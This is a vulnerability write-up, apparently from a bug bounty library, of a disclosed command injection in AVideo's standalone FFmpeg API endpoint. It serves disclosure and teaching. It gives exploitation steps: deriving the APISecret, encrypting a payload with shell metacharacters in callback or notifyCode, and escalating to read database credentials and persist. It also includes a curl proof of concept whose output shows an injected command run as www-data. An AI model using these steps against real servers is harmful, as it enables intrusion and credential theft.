# AVideo API FFmpeg process permits OS command injection via notifyCode/callback

AVideo's standalone FFmpeg endpoint concatenates attacker-controlled notifyCode/callback fields raw into a sh -c command, allowing OS command injection as the web user.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by (vendor credit): tonghuaroot
- Found by: tonghuaroot
- Disclosed: 2026-11-24
- CVE: CVE-2026-63305
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-g9x9-q7qj-6mv5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g9x9-q7qj-6mv5
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** PHP standalone FFmpeg execution endpoint (plugin/API/standAlone/ffmpeg.json.php)
**Root cause:** The completion-hook line escapes the notify JSON with escapeshellarg() but interpolates the sibling notifyCode and callback fields raw into a sh -c command; only ffmpegCommand passes through sanitizeFFmpegCommand().
**Steps:**
1. Obtain APISecret = md5(salt . systemRootPath . 'API') and craft a codeToExec object with time=now, an ffmpegCommand containing a /videos/<dir>/<name>.mp4 path (to set avideoPath and trigger the hook), and callback=`x;touch /tmp/marker`
2. Encrypt codeToExec with the platform encryptString (AES-256-CBC, key=sha256(saltV2), iv=substr(sha256(systemRootPath),0,16))
3. POST to `/plugin/API/standAlone/ffmpeg.json.php` with `APISecret=<secret>` and `codeToExecEncrypted=<payload>`
4. Observe composed command shows `notify='{...}'` escaped but `callback=x;touch /tmp/marker` raw; marker file created by www-data
5. Repeat with payload in notifyCode instead of callback to confirm both fields are injectable
**How found:** Noticed the completion-hook line escapes notify with escapeshellarg() but leaves the adjacent notifyCode and callback raw, and that only ffmpegCommand is routed through sanitizeFFmpegCommand() — a residual sibling of the earlier denylist hardening.
**Exploitation:** Attacker with a valid APISecret encrypts a codeToExec payload whose callback or notifyCode contains shell metacharacters; the endpoint composes `nohup sh -c "... && php ffmpeg.json.php notify=<escaped> notifyCode=<raw> callback=<raw>"` and executes it, running arbitrary commands as the web-server user who owns app files, DB credentials and saltV2.
**Escalation:** From web-user RCE, read configuration.php for DB credentials and saltV2, pivot to the database and persist.
**Insight:** When a denylist/escaping fix lands on one field of a concatenated shell line, audit every other interpolated field on that same line — escaping one argument (notify) while leaving its neighbors raw is a common incomplete-fix pattern.

## Proof of concept (copied exactly from the original report)

**curl POST with encrypted codeToExec payload**

```
curl -s -X POST "http://<host>/plugin/API/standAlone/ffmpeg.json.php" \
  --data-urlencode "APISecret=<APISecret>" \
  --data-urlencode "codeToExecEncrypted=<encrypted codeToExec>"
```

**Composed command showing raw callback injection**

```
{"error":false,"msg":"Command executed","command":"ffmpeg -i /var/www/html/AVideo/videos/x/in.mp4 -c copy /var/www/html/AVideo/videos/x/out.mp4 -metadata keyword='kwtest' > /var/www/html/AVideo/videos/ffmpegLogs/ffmpeg_kwtest.log  && php '/var/www/html/AVideo/plugin/API/standAlone/ffmpeg.json.php' notify='{\"avideoPath\":\"/var/www/html/AVideo/videos/x/in.mp4\",\"avideoRelativePath\":\"videos/x/in.mp4\",\"avideoFilename\":\"x\",\"videoBasename\":\"in.mp4\",\"avideoExstension\":\"mp4\"}' notifyCode=nc1 callback=x;touch /tmp/avideo_cb_rce_1782909419_26863 2>&1","pid":17212
```

**notifyCode injection variant command**

```
... notifyCode=x;touch /tmp/avideo_nc_rce_1782909675_26515 callback=cb1 2>&1
-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo_nc_rce_1782909675_26515
```

